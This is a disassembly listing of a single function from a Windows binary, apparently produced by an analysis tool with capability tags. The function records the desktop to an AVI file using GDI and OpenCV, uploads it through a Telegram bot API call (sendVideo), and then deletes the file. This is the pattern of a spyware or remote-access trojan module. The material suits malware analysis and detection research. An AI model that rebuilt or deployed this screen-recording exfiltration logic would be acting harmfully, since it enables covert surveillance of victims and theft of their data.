Function at 0x14000f250
Capabilities:
Capture screenshot
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x290]
sub rsp, 0x3b0
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x288], rax
mov rsi, rdx
mov qword [rbp - 0x50], rdx
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x138], rdx
xor r12d, r12d
mov dword [rbp - 0x7c], r12d
mov rcx, qword [rdx]
cmp qword [rcx + 0x128], 9
jae 0x14000f2b2
mov rdi, qword [rdx + 8]
jmp 0x14000faee
add rcx, 0x118
cmp qword [rcx + 0x18], 0xf
jbe 0x14000f2c3
mov rcx, qword [rcx]
add rcx, 9
mov r13d, 0xa
mov r8d, r13d
lea rdx, [rbp + 0x188]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov ebx, eax
mov dword [rbp - 0x78], eax
mov r8d, r13d
xor edx, edx
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov r14d, eax
test eax, eax
je 0x14000faea
test ebx, ebx
je 0x14000faea
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov r15, rax
mov qword [rbp - 0x60], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
lea ecx, [r13 - 9]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
shl rdi, 0x20
or rdi, rbx
mov r9b, 0x47
mov r8b, 0x50
mov dl, 0x4a
mov cl, 0x4d
call qword [sym.imp.opencv_videoio4.dll_public:_static_int___cdecl_cv::VideoWriter::fourcc_char__char__char__char_]
mov ebx, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov r8d, r13d
lea rdx, str.VLOG_1.avi
lea rcx, [rbp - 0x40]
call fcn.140013570
nop
movd xmm3, dword [rbp - 0x78]
cvtdq2pd xmm3, xmm3
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
mov r8d, ebx
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x240]
call qword [sym.imp.opencv_videoio4.dll_public:_void___cdecl_cv::VideoWriter::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__int__double__class_cv::Size__int___bool____ptr64]
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000f3cc
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f3c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f3c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
test r14d, r14d
je 0x14000f5c6
mov qword [rbp - 0x78], r14
mov r13d, dword [rbp - 0x7c]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.opencv_core4.dll_public:_void___cdecl_cv::Mat::constructor_void____ptr64]
or r13d, 4
mov dword [rbp - 0x7c], r13d
mov rcx, r15
call qword [sym.imp.USER32.dll_GetDC]
mov r15, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r14, rax
mov edx, 3
mov rcx, rax
call qword [sym.imp.GDI32.dll_SetStretchBltMode]
lea rdx, [rbp + 0x1c8]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.USER32.dll_GetClientRect]
mov esi, dword [rbp + 0x1d4]
mov ebx, dword [rbp + 0x1d0]
mov r9d, 0x18
mov r8d, ebx
mov edx, esi
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.opencv_core4.dll_public:_void___cdecl_cv::Mat::create_int__int__int____ptr64]
mov r8d, esi
mov edx, ebx
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdi, rax
mov dword [rbp + 0x1a0], 0x28
mov dword [rbp + 0x1a4], ebx
mov ecx, esi
neg ecx
mov dword [rbp + 0x1a8], ecx
mov qword [rbp + 0x1ac], 0x200001
mov qword [rbp + 0x1b4], r12
mov qword [rbp + 0x1bc], r12
mov dword [rbp + 0x1c4], r12d
mov rdx, rax
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x50], 0xcc0020
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], esi
mov r9d, ebx
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0x30], r12d
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, esi
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.GDI32.dll_GetDIBits]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r15
mov r15, qword [rbp - 0x60]
mov rcx, r15
call qword [sym.imp.USER32.dll_ReleaseDC]
mov qword [rbp + 0x90], r12
mov dword [rbp + 0x80], 0x1010000
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x240]
call qword [sym.imp.opencv_videoio4.dll_public_virtual:_void___cdecl_cv::VideoWriter::write_class_cv::_InputArray_const____ptr64____ptr64]
and r13d, 0xfffffffb
mov dword [rbp - 0x7c], r13d
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.opencv_core4.dll_public:_void___cdecl_cv::Mat::destructor_void____ptr64]
sub qword [rbp - 0x78], 1
jne 0x14000f3f0
mov r13d, 0xa
mov rsi, qword [rbp - 0x50]
lea rcx, [rbp + 0x240]
call qword [sym.imp.opencv_videoio4.dll_public_virtual:_void___cdecl_cv::VideoWriter::release_void____ptr64]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rbp + 0x190]
mov rbx, qword [rbx]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r12
movups xmmword [rbp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0x40]
call fcn.140013570
nop
lea rax, [rbp - 0x78]
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x78], xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0x20]
call fcn.140013570
nop
lea rax, [rbp + 0xe8]
mov qword [rbp - 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0xc8]
call fcn.140013570
movups xmm1, xmmword [rbp + 0xc8]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [rbp + 0xd8]
movups xmmword [rbp + 0x100], xmm0
mov dword [rbp + 0xe8], r14d
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
lea r8d, [r14 + 0xe]
lea rdx, str.video_x_msvideo
lea rcx, [rbp]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8, r13
lea r15, str.VLOG_1.avi
mov rdx, r15
lea rcx, [rbp - 0x20]
call fcn.140013570
nop
lea r8, [rbp]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x150]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x118], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0x118], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x120], rcx
mov qword [rax], r12
mov qword [rax + 8], r12
mov dword [rbp + 0x110], r12d
mov rax, qword [rsi]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x168], rax
mov dword [rbp + 0x160], r12d
mov byte [rsp + 0x90], 0
mov dword [rsp + 0x88], r12d
mov byte [rsp + 0x80], 0
mov byte [rsp + 0x78], 0
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x68], 0
lea rax, [rbp + 0x40]
mov qword [rsp + 0x60], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r12d
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0x110]
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x140]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendVideo_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
lea ebx, [r14 - 2]
mov rdi, qword [rbp + 0x148]
test rdi, rdi
je 0x14000f817
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, r14d
jne 0x14000f817
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, r14d
jne 0x14000f817
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdi, qword [rbp + 0x158]
test rdi, rdi
je 0x14000f84d
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000f84d
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x14000f84d
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000f88b
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f886
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f886
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000f8da
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f8d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f8d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000f929
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f924
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f924
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000f978
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f973
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f973
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
movdqa xmm0, xmmword [0x14001bf60]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0xb0]
call fcn.140011170
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400170a4
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r13
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, [rbp + 0x60]
call fcn.140001b60
nop
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 7
cmova rcx, qword [rbp + 0x60]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x268]
call fcn.1400173b8
mov edx, eax
test eax, eax
jne 0x14000fa21
mov eax, dword [rbp + 0x278]
bt eax, 0xa
jae 0x14000fa0f
mov ecx, dword [rbp + 0x27c]
cmp ecx, 0xa000000c
jne 0x14000fa07
lea r13d, [rdx + 4]
jmp 0x14000fa42
cmp ecx, 0xa0000003
je 0x14000fa42
movzx r13d, al
and r13d, 0x10
or r13d, 0x20
shr r13d, 4
jmp 0x14000fa42
mov dword [rbp - 0x4c], 0xffff
sub eax, 2
je 0x14000fa3c
sub eax, 1
je 0x14000fa3c
sub eax, 0x32
je 0x14000fa3c
cmp eax, 0x46
jne 0x14000fa3f
mov r12d, r14d
mov r13d, r12d
mov dword [rbp + 0xa0], edx
lea rax, [0x140025110]
mov qword [rbp + 0xa8], rax
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x190], xmm0
test r13d, r13d
je 0x14000fab0
cmp r13d, 1
setne dil
mov rdx, qword [rbp + 0x78]
cmp rdx, 7
jbe 0x14000fac2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fabd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fabd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor dil, dil
test edx, edx
jne 0x14000fb49
jmp 0x14000fa72
call fcn.140017a20
test dil, dil
je 0x14000fad1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x240]
call qword [sym.imp.opencv_videoio4.dll_public_virtual:_void___cdecl_cv::VideoWriter::destructor_void____ptr64]
nop
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x14000fb1f
jmp 0x14000faf8
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x14000fb1f
mov ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000fb1f
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x14000fb1f
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x288]
xor rcx, rsp
call fcn.140017a00
mov rbx, qword [rsp + 0x400]
add rsp, 0x3b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x190]
call fcn.140002bf0
int3